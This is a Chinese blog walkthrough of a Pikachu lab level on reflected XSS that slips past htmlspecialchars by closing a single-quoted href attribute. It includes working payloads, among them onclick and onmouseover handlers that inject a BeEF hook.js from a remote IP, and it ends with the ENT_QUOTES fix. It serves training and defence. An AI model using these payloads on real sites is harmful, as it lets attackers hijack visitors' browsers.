Pikachu靶场通关笔记(12) — XSS之htmlspecialchars (单引号闭合绕过)

37次阅读
没有评论

1. 核心考点

  • PHP 函数特性:理解 htmlspecialchars() 的默认行为(默认不处理单引号)。
  • HTML 属性逃逸:如何在 href 属性中通过单引号闭合来注入新的事件属性。
  • 动态 DOM 注入:在无法直接写入 <script> 标签时,如何利用 JavaScript 动态构建 DOM 元素加载外部脚本。

2. 源码分析

查看关键后端代码:

if(isset($_GET['submit'])){if(empty($_GET['message'])){$html.="<p class='notice'>输入点啥吧!</p>";
    }else {
        // 关键点 1:使用了 htmlspecialchars 进行处理
        // 注意:默认配置下,该函数只转义 &, ", <, >,不转义单引号'
        $message=htmlspecialchars($_GET['message']);

        $html1.="<p class='notice'>你的输入已经被记录:</p>";

        // 关键点 2:输出点在 a 标签的 href 属性中,且两边使用的是单引号 '
        ......
        $html2.="<a href='{$message}'>{$message}</a>";
    }
}

分析结论:

  1. 虽然使用了过滤函数,但因为它没开启 ENT_QUOTES 标志,所以 单引号 ' 是安全的,会被原样输出。
  2. 输出位置在 <a href='...'> 中,且包裹属性的是 单引号
  3. 这意味着我们可以用输入中的 ' 闭合掉 href 属性,然后注入自己的属性(如 onclickonmouseover)。

3. 漏洞复现

3.1 基础弹窗测试

Payload 构造思路:
我们输入的内容被放在 href='[这里]'
如果我们输入 'onclick='alert(1),后端拼接后的 HTML 变成:

<a href=''onclick='alert(1)'>...</a>

操作步骤:

  1. 在输入框输入:
    'onclick='alert(111)
  2. 点击提交。
  3. 在页面下方生成的链接上点击,成功弹窗。
Pikachu 靶场通关笔记(12) — XSS 之 htmlspecialchars (单引号闭合绕过)

为什么 F12 看到的和源码不一样?

  • 源码 : <a href=''onclick='alert(111)'>,这是真实的服务器返回,可以直接查看源码得知。
  • F12 (Inspect): 浏览器会尝试修复语法错误(例如后面多余的那个闭合单引号),并规范化显示(把单引号显示为双引号),但这不影响攻击有效性。

3.2 进阶:注入 BeEF Hook (绕过标签过滤)

由于 htmlspecialchars 过滤了 <>,我们无法直接输入 <script src="..."></script>
解决方案:利用 JavaScript 的 DOM 操作动态创建 script 标签。

遇到的坑与解决:

  1. 双引号问题:Payload 中的 JS 代码需要用到双引号(例如 src="...")。虽然 htmlspecialchars 会把 " 转义成 &quot;,但浏览器解析 HTML 属性时,会先进行HTML 实体解码,然后再交给 JS 引擎执行。所以 JS 执行时双引号是正常的。
  2. 页面刷新问题 <a href> 标签点击后默认会跳转或刷新页面。如果不阻止这个行为,JS 刚运行请求还没发出去,页面就刷新了,导致 BeEF 无法上线。 必须加 return false;
  3. 闭合完整性:为了处理 PHP 代码中最后留下的那个悬空的单引号,建议构造一个完整的闭合或者利用 name 属性吸收它。

完整 Payload (BeEF 版):

假设 BeEF 服务器 IP 为 10.130.37.192,我是本地搭建的 BeEF,所以我填的是 localhost。

'onclick='var s=document.createElement("script");s.src="http://10.130.37.192:3000/hook.js";document.body.appendChild(s);return false;'

或者使用 onmouseover 实现鼠标滑过即中招(不需要 return false):

'onmouseover='var s=document.createElement("script");s.src="http://10.130.37.192:3000/hook.js";document.body.appendChild(s);'
Pikachu 靶场通关笔记(12) — XSS 之 htmlspecialchars (单引号闭合绕过)
Pikachu 靶场通关笔记(12) — XSS 之 htmlspecialchars (单引号闭合绕过)

注入过程解析:

  1. 输入:上述 Payload。
  2. 后端处理:双引号被转义为 &quot;,单引号保留。
  3. 浏览器解析
    • 读取 onclick 属性。
    • &quot; 还原为 "
    • 执行 JS:创建一个 script 标签 -> 指向 hook.js -> 插入 body。
    • 执行 return false -> 阻止 <a href> 的跳转 / 刷新。
  4. 结果:BeEF 后台成功上线。

4. 防御措施

要彻底防御此类漏洞,必须在使用 htmlspecialchars 时显式指定编码模式,将单引号也一并转义。

不安全代码:

$message = htmlspecialchars($_GET['message']);

安全代码:

// ENT_QUOTES: 同时转义双引号和单引号
$message = htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

这样输入 ' 就会变成 &#039;,无法闭合 HTML 属性,攻击失效。

正文完
 0
评论(没有评论)